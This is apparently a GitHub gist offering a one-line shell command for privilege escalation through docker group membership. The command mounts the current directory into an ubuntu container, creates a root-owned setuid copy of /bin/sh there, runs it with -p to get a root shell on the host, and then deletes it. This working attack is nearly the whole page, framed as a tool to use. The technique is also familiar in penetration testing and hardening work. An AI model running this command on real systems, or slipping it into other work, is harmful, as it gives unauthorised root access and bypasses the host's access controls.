Skip to content

Instantly share code, notes, and snippets.

@siddolo
Last active August 22, 2025 10:16
Show Gist options
  • Save siddolo/827e1cb66fdf1e1e94195a354e48f986 to your computer and use it in GitHub Desktop.
Save siddolo/827e1cb66fdf1e1e94195a354e48f986 to your computer and use it in GitHub Desktop.
Abuse the privileges of the docker group. You can use it to do privilege escalation if the user is in the docker group.
docker run -v $PWD:/root ubuntu bash -c "cp /bin/sh /root/test && chown root:root /root/test && chmod 6755 /root/test" && ./test -p && rm -rf ./test
@siddolo
Copy link
Author

siddolo commented Jun 20, 2025

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment